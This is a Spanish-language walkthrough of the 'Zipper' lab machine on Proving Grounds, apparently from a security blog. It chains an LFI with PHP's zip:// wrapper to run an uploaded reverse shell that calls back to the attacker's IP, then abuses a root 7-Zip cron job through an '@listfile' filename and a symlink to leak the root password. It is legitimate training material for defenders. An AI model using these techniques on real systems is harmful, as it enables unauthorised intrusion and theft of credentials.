the_open_door
café
ESEN

Zipper

Proving Grounds PracticeDifícilLinux192.168.114.229

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#lfi#php-wrapper#zip-wrapper#file-upload#rce#cron#7zip#listfile-injection#information-disclosure#oscp
TL;DR. Zipper es un conversor de ZIP online. index.php?file= sufre un LFI, y como el sitio comprime lo que subimos en un .zip, encadenamos el wrapper zip:// de PHP para ejecutar una webshell dentro del archivo (RCE con el wrapper zip:// de PHP), cayendo como www-data. Un cron root ejecuta 7za a ... *.zip en un directorio donde escribimos; abusamos de la sintaxis @listfile de 7-Zip para filtrar /root/secret al log (lectura arbitraria con @listfile de 7-Zip). Ese secreto es la contraseña de root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos:

ping -c 1 192.168.114.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.229
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.114.229 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper

Web - TCP 80

El sitio, "Zipper", es un conversor: sube ficheros y los comprime en un .zip que deja en /uploads/. La portada se sirve como index.php?file=home, un patrón de inclusión que huele a LFI:

Portada de Zipper con la URL index.php?file=home; conversor de ZIP con un formulario de subida

Un dirsearch confirma /upload.php y /uploads/:

dirsearch -u http://192.168.114.229/ --exclude-status=404,403

Al subir un fichero, Zipper lo comprime en /uploads/upload_<ts>.zip

[15:21:22] 200 - /style
[15:21:24] 200 - /upload.php
[15:21:25] 301 - /uploads  ->  http://192.168.114.229/uploads/

Explotación

LFI + wrapper zip:// = RCE

Dos piezas encajan: (1) index.php?file= incluye ficheros del servidor (LFI) y (2) todo lo que subimos acaba como /uploads/upload_<timestamp>.zip. PHP ofrece el stream wrapper zip://, que abre una entrada concreta dentro de un ZIP con la sintaxis zip://ruta.zip#entrada. Si subimos un ZIP que contenga un rev.php, podemos pedirle al LFI que incluya y ejecute esa entrada (RCE con el wrapper zip:// de PHP).

Como payload usamos la reverse shell PHP de PentestMonkey de revshells.com, apuntando a nuestra IP y puerto:

revshells.com con la reverse shell PHP PentestMonkey, IP 192.168.45.204 y puerto 22

La guardamos como rev.php (el $ip/$port quedan fijados en la cabecera del script):

head de rev.php: la php-reverse-shell de pentestmonkey con $ip 192.168.45.204 y $port 22

La subimos por el formulario de Zipper, que la comprime en un .zip:

Formulario de subida de Zipper con rev.php seleccionada en el diálogo de fichero

El sitio confirma "Files uploaded successfully and compressed into a zip format" y nos da el nombre exacto del archivo generado: upload_1770392287.zip (de ahí sale el nombre que usaremos en el wrapper):

Zipper confirma la subida y genera upload_1770392287.zip, descargable

Levantamos nc a la escucha para la shell entrante (el puerto fijado en rev.php):

nc -nlvp <port>

Luego apuntamos el file= al wrapper, con #rev codificado como %23rev:

http://192.168.114.229/index.php?file=zip://./uploads/upload_1770392287.zip%23rev

Al incluir zip://./uploads/upload_&lt;ts&gt;.zip#rev, la reverse shell PHP se ejecuta y da shell como www-data

La shell corre como www-data.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como www-data en zipper

a915350183b78b90934e03d88e97b244
www-data

Escalada de privilegios

Cron root con 7-Zip y sus comodines

/etc/crontab revela una tarea que corre cada minuto como root, y el script que ejecuta comprime los .zip del directorio de subidas cifrándolos con un secreto:

cat /etc/crontab
cat /opt/backup.sh
* *     * * *   root    bash /opt/backup.sh
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

No podemos leer /root/secret directamente, pero sí escribir en /var/www/html/uploads, y ahí es donde el comodín *.zip hace magia. 7-Zip interpreta cualquier argumento que empiece por @ como un fichero de lista (@listfile): lee ese fichero y trata cada línea como un nombre de fichero a añadir. Como el shell expande *.zip, basta crear un fichero llamado @x.zip (empieza por @ y casa con *.zip) y un enlace x.zip que apunte a /root/secret (lectura arbitraria con @listfile de 7-Zip):

cd /var/www/html/uploads
touch @x.zip
ln -s /root/secret x.zip

En el siguiente ciclo del cron, 7-Zip lee x.zip (el contenido de /root/secret), intenta añadir un fichero con ese nombre, no lo encuentra y lo vuelca como advertencia en backup.log. Ahí queda el secreto:

cat /opt/backups/backup.log

backup.log filtra WildCardsGoingWild vía la advertencia de 7-Zip; su root con esa contraseña da root

Scan WARNINGS for files and folders:
WildCardsGoingWild : No more files

El contenido de /root/secret es WildCardsGoingWild, que resulta ser la contraseña de root:

su root   # WildCardsGoingWild

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en zipper

402b7c04959e89d00e048633f3e1c74a
root

Cadena de ataque

HTTP (80)  --  Zipper: LFI en index.php?file= + subida a /uploads/*.zip
        │  wrapper zip://./uploads/upload_<ts>.zip#rev -> ejecuta rev.php
        ▼
www-data  (local.txt)
        │  cron root: 7za a backup.zip -p$(cat /root/secret) *.zip
        │  @x.zip + symlink x.zip->/root/secret -> secreto filtrado a backup.log
        ▼
root  (proof.txt)  [su con WildCardsGoingWild]

Lecciones aprendidas

  • Un file= que incluye es LFI, y con zip:// es RCE. Combinar un LFI con un lugar donde controlemos el contenido de un ZIP (la propia funcionalidad del sitio) permitió ejecutar código sin subir un .php que se sirviera directamente. Los wrappers de PHP (zip://, phar://, php://filter) deben tenerse siempre en el radar ante un LFI.
  • Los comodines en scripts de root son peligrosos. 7za ... *.zip deja que el atacante inyecte argumentos creando ficheros con nombres especiales. Es el mismo patrón que el tar --wildcards: hay que anclar rutas (./) y evitar globs sobre directorios escribibles.
  • @listfile de 7-Zip es lectura arbitraria de ficheros. Un @ en el nombre convierte a 7-Zip en un lector de ficheros ajenos; el error "No more files" filtra su contenido. Un secreto de root acabó en un log legible.
  • No guardes contraseñas en ficheros que otro proceso lee. /root/secret alimentaba el cron; en cuanto ese proceso pudo ser manipulado, el secreto quedó expuesto.
Cheatsheet de comandos 7 comandos

Repaso rápido